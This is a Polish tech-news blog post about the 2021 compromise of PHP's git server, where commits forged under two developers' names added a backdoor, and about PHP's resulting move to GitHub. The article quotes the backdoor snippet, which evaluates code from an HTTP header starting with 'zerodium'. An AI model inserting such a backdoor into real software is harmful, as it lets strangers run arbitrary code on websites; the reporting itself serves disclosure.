TeamQuest Blog

Zerodium

Zerodium

Marcin Sarna , 31.03.2021 r.

Tak brzmi hasło do wykonywania poleceń w zhakowanych źródłach PHP.

Poległ serwer PHP ze źródłami

Jak twierdzą członkowie projektu PHP, odnotowano włamanie na serwer używany do dystrybucji PHP. Włamanie ma dalekosiężne skutki – atakujący dodali backdoor do kodu źródłowego PHP a to może narazić strony internetowe korzystające z takiego „wzbogaconego” PHP na całkowite przejęcie.

Dwie aktualizacje przesłane na serwer Git PHP dodały jeden wiersz, który, jeśli byłby uruchamiany przez witrynę internetową opartą na PHP, umożliwiałby odwiedzającym na wykonanie bez autoryzacji wybranego przez siebie kodu. Złośliwe commity wstrzyknięte kodowi PHP dawały możliwość wykonania kodu tym „wtajemniczonym” odwiedzającym, którzy ustawiliby sobie słowo zerodium w nagłówku HTTP.

Kto tego dokonał?

Zatwierdzenia zostały dokonane w repozytorium php-src pod nazwami kont dwóch znanych deweloperów PHP, Rasmusa Lerdorfa i Nikity Popova. Nie wiemy jeszcze, jak dokładnie to się stało, ale wszystko wskazuje na zhakowanie serwera git.php.net (a nie na zaatakowanie indywidualnego konta git) - napisał Popov w swoim oświadczeniu.

W następstwie ataku Popov zapowiedział, że opiekunowie PHP doszli do wniosku, że używana do tej pory ich samodzielna infrastruktura Git stanowi niepotrzebne zagrożenie bezpieczeństwa. W rezultacie zaprzestaną udostępniania serwera git.php.net a oficjalnym źródłem repozytoriów PHP uczynią GitHub. W przyszłości wszystkie zmiany w kodzie źródłowym PHP będą więc dokonywane bezpośrednio na GitHub, a nie na git.php.net.

Szkodliwe zmiany zostały ujawnione przez deweloperów PHP, w tym Markusa Staaba, Jake'a Birchallfa i Michaela Voříška, którzy analizowali commity dokonane w sobotę. Aktualizacja, która rzekomo naprawiała literówkę, została dokonana na koncie używającym nazwy Lerdorf. Krótko po pierwszym odkryciu Voříšek zauważył drugą złośliwą zmianę w kodzie, która została wykonana z konta Popova. Miała ona rzekomo cofnąć poprzednią poprawkę literówki.

Zmiana w kodzie czyli co znaczy Zerodium?

Atakujący dodali następującą linijkę:

convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

Zerodium jest legalnie działającym brokerem, który kupuje exploity od badaczy i sprzedaje je agencjom rządowym do wykorzystania w dochodzeniach lub do innych celów. Nie jest jasne, dlaczego commity odnosiły się właśnie do Zerodium. Dyrektor generalny firmy, Chaouki Bekrar, powiedział na Twitterze, że Zerodium nie było zaangażowane w żaden sposób w całą sprawę.

Pozdrawiam trolla, który umieścił Zerodium w zatwierdzonych commitach PHP. Oczywiście nie mamy z tym nic wspólnego. Prawdopodobnie badacze, którzy znaleźli ten błąd w serwerze git, próbowali sprzedać go wielu podmiotom, ale nikt nie chciał go kupić, więc spalili go dla zabawy.

Sprawdź oferty pracy na TeamQuest

GitHub zastąpi Karmę

Przed aferą deweloperzy PHP obsługiwali cały dostęp do zapisu w repozytorium na swoim własnym serwerze Git, używając czegoś, co Popov nazwał „rodzimym” systemem zwanym Karma. Zapewniało tp programistom różne poziomy uprawnień dostępu w zależności od wcześniejszych wkładów w rozwój PHP. W międzyczasie GitHub pełnił jedynie funkcję repozytorium lustrzanego.

Teraz grupa PHP rezygnuje z własnej infrastruktury git i zastępuje ją GitHubem. Zmiana oznacza, że GitHub będzie teraz repozytorium „kanonicznym”. Deweloperzy PHP nie będą już używać systemu Karma. Zamiast tego, współautorzy będą musieli być częścią organizacji PHP w GitHub i używać uwierzytelniania dwuskładnikowego dla kont z możliwością dokonywania zatwierdzeń.

Najnowsze oferty pracy:

Polecane wpisy na blogu IT:

Szukasz pracownika IT?

Dostarczymy Ci najlepszych specjalistów z branży IT. Wyślij zapytanie

Wyrażam zgodę TeamQuest Sp. z o.o. na przetwarzanie moich danych osobowych w celu marketingu produktów i usług własnych TeamQuest, w tym na kontaktowanie się ze mną w formie połączenia telefonicznego lub środkami elektronicznymi.
Administratorem podanych przez Ciebie danych osobowych jest TeamQuest Sp. z o.o., z siedzibą w Warszawie (00-814), ul. Miedziana 3a/21, zwana dalej „Administratorem".
Jeśli masz jakiekolwiek pytania odnośnie przetwarzania przez nas Twoich danych, skontaktuj się z naszym Inspektorem Ochrony Danych (IOD). Do Twojej dyspozycji jest pod adresem e-mail: office@teamquest.pl.
W jakim celu i na jakiej podstawie będziemy wykorzystywać Twoje dane? Dowiedz się więcej